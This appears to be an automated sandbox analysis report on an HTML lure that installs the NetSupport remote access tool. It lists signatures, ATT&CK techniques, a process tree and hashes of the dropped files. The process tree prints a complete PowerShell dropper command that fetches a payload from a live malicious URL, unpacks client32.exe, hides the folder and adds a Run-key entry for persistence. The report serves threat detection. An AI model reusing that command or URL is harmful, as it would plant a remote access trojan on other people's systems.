netsupport | 7ffa3d0d460fdaaba450e3f74e4420e152d27185166421e91a853c04f24acb77

Analysis

max time kernel
286s
max time network
273s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
16-08-2024 14:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cd878585f2e6447f52d1ccba5ae7739c55d8e441dde781548229dffe71e94319.html
Size

5.2MB
MD5

d9dddf370ea4db7a0ef38c35cfb16375
SHA1

ce1e20428a625a32123ade0effab2ab51944df7d
SHA256

cd878585f2e6447f52d1ccba5ae7739c55d8e441dde781548229dffe71e94319
SHA512

46a967a055dc8bb89c2d830ab125c7e0172880b700e33131f0a714492f46e74940b350c85aff37c99bad5a01513244dfb2861f30c612e3f685ce0d7eb87f7abe
SSDEEP

24576:ndtGeTldtGeT5xr4RQgdxxr4RQgdd3a00cpt9i3a00cpt95:nvlv51gdx1gdd3bFi3bF5

Score

10^/10

netsupport discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://estafetaofj.top/data.php?14473

exe.dropper

https://estafetaofj.top/data.php?14473

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 3 IoCs

flow	pid	Process
43	4408	WScript.exe
49	5424	powershell.exe
51	5676	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
5384	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
5384	client32.exe
5384	client32.exe
5384	client32.exe
5384	client32.exe
5384	client32.exe
5384	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LMKN = "C:\\Users\\Admin\\AppData\\Roaming\\RWOIE8\\client32.exe"	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 931202.crdownload:SmartScreen	msedge.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	43	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	51	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
5100	msedge.exe
5100	msedge.exe
1892	msedge.exe
1892	msedge.exe
4920	identity_helper.exe
4920	identity_helper.exe
3416	msedge.exe
3416	msedge.exe
5424	powershell.exe
5424	powershell.exe
5424	powershell.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe
2408	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5424	powershell.exe
Token: SeSecurityPrivilege	5384	client32.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
5384	client32.exe
5384	client32.exe
5384	client32.exe

Suspicious use of SendNotifyMessage 25 IoCs

pid	Process
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
1892	msedge.exe
5384	client32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 2020	1892	msedge.exe	84
PID 1892 wrote to memory of 2020	1892	msedge.exe	84
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 2864	1892	msedge.exe	85
PID 1892 wrote to memory of 5100	1892	msedge.exe	86
PID 1892 wrote to memory of 5100	1892	msedge.exe	86
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87
PID 1892 wrote to memory of 3116	1892	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\cd878585f2e6447f52d1ccba5ae7739c55d8e441dde781548229dffe71e94319.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb08a746f8,0x7ffb08a74708,0x7ffb08a74718
  2⤵
  PID:2020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
  2⤵
  PID:2864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2856 /prefetch:8
  2⤵
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:1
  2⤵
  PID:1868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:228
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  PID:2440
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5340 /prefetch:8
  2⤵
  PID:1164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
  2⤵
  PID:3656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5608 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Update.js"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:4408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OVBACJFDX='https://estafetaofj.top/data.php?14473';$GWOPJVY=(New-Object System.Net.WebClient).DownloadString($OVBACJFDX);$FABKOL=[System.Convert]::FromBase64String($GWOPJVY);$asd = Get-Random -Minimum -10 -Maximum 17; $LRZXKNWPHGS=[System.Environment]::GetFolderPath('ApplicationData')+'\RWOIE'+$asd;if (!(Test-Path $LRZXKNWPHGS -PathType Container)) { New-Item -Path $LRZXKNWPHGS -ItemType Directory };$p=Join-Path $LRZXKNWPHGS 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$FABKOL);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LRZXKNWPHGS)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LRZXKNWPHGS 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LRZXKNWPHGS -Force; $fd.attributes='Hidden';$s=$LRZXKNWPHGS+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='LMKN';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5424
  - - C:\Users\Admin\AppData\Roaming\RWOIE8\client32.exe
      "C:\Users\Admin\AppData\Roaming\RWOIE8\client32.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:1
  2⤵
  PID:2464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:4492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6376 /prefetch:1
  2⤵
  PID:5240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,5301918530332118021,5907417260017262282,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5756 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2408

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3656

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5620

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Update.js"
1⤵
- Blocklisted process makes network request
PID:5676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ff63763eedb406987ced076e36ec9acf

SHA1
16365aa97cd1a115412f8ae436d5d4e9be5f7b5d

SHA256
8f460e8b7a67f0c65b7248961a7c71146c9e7a19772b193972b486dbf05b8e4c

SHA512
ce90336169c8b2de249d4faea2519bf7c3df48ae9d77cdf471dd5dbd8e8542d47d9348080a098074aa63c255890850ee3b80ddb8eef8384919fdca3bb9371d9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2783c40400a8912a79cfd383da731086

SHA1
001a131fe399c30973089e18358818090ca81789

SHA256
331fa67da5f67bbb42794c3aeab8f7819f35347460ffb352ccc914e0373a22c5

SHA512
b7c7d3aa966ad39a86aae02479649d74dcbf29d9cb3a7ff8b9b2354ea60704da55f5c0df803fd0a7191170a8e72fdd5eacfa1a739d7a74e390a7b74bdced1685

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
183B

MD5
9e1275231d0007b3a42906cdadb34ea6

SHA1
de552221fd88afa25f6cdeceed2c825d4b40e41e

SHA256
3ac46af51f438f21927049f96db54e3060b81606bc3c1acfae0e125ac5c530e8

SHA512
5db406df1b09a4bc46c299deb653b949ab1dc6701977c5d964d1969333ea620585a5773ab3557ca87d19d18727e040a38285aca132828ff3491bb40a1dbee521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
198760b1ff3e38aa4ab453f823e8ccc8

SHA1
a550ae15a6a0440d247123377ba4992231dc6bf7

SHA256
933b9cf54e9c0f265e844b1e69b271063d003e8360238f8583bbfb7cacde8276

SHA512
7c0b7fb7d253a767a7b2ea77b4b6983c2a4fc0a71f20cdd6208cb5b93012d114d6dacb5ea7bd885b53ccabe7b00bf8f1ff17e02af9dc52105b4321f3524b8bb6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
df0985792c85eb4efdca4f692063fbfe

SHA1
350209325a4d19d08405cf72b849828a9ef84155

SHA256
8c9c767273e31905ef17ce63aaa6fbfa37100f34a95c53f062e0d57148add1b3

SHA512
b9620f8cb91197145e7a97594380157207faa71801cbc1792f398ccb18fbd497651cff6f69dbf156bc1b27f4f54f2f42af66f25c1c83bcac0264bbbf5a78d655

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
c1217a62ef406308985f437b838b4427

SHA1
1f21e1cd77110a0e2c4ed0af37498df9a4c29734

SHA256
6acc56ebc0b2e85b8e10ac9e2bc847c0820f9cc9a575479810c13005c0a7740a

SHA512
d7fcfbe33d1dd1465b297c5a02cc53336369f463410700a58913c3bec3bfe2a1428773a717912a07692bcd93effd42be80e3f547aa166a7dc02778c77918a9bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
b1ab4c717fb3c4861e2e6354fd3f4dcb

SHA1
fad59cb7712f0be8c473f4fd6b5aa1e22462acb6

SHA256
98f9ba342ea413c678728b23e25cad8a95eda5c0cc618c969b4e868b21e23e11

SHA512
12f5ce8438bf81cc99c6e5835f531ea7f0c4cece7169e0e84ea2e1f17f12df118c2b27f42d0b2e63a03b1efc8a6a99603ee69e14b65815f87b6ab11c48a03ffd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54naeupj.z4e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\NSM.LIC

Filesize
195B

MD5
e9609072de9c29dc1963be208948ba44

SHA1
03bbe27d0d1ba651ff43363587d3d6d2e170060f

SHA256
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

SHA512
f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\client32.ini

Filesize
672B

MD5
b6986c652c703435cb96f5f2b875e90e

SHA1
6c4c7c4a4fcf6c68e3a3cfe104014c41683cdb19

SHA256
96388d638998a67b2913999b35fc8cee88a978caa8d16b76910d499b10a9e8be

SHA512
01095a8f7f9f4dcc40793ee7dc9378b95d3c36cca4f7163f28c8c4ba279aa5c46ad93c6ae57fcc6ae779b43ace25f57181c684fd4de8f11e9700eb7a5a4cf6a7

Download Submit
C:\Users\Admin\AppData\Roaming\RWOIE8\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
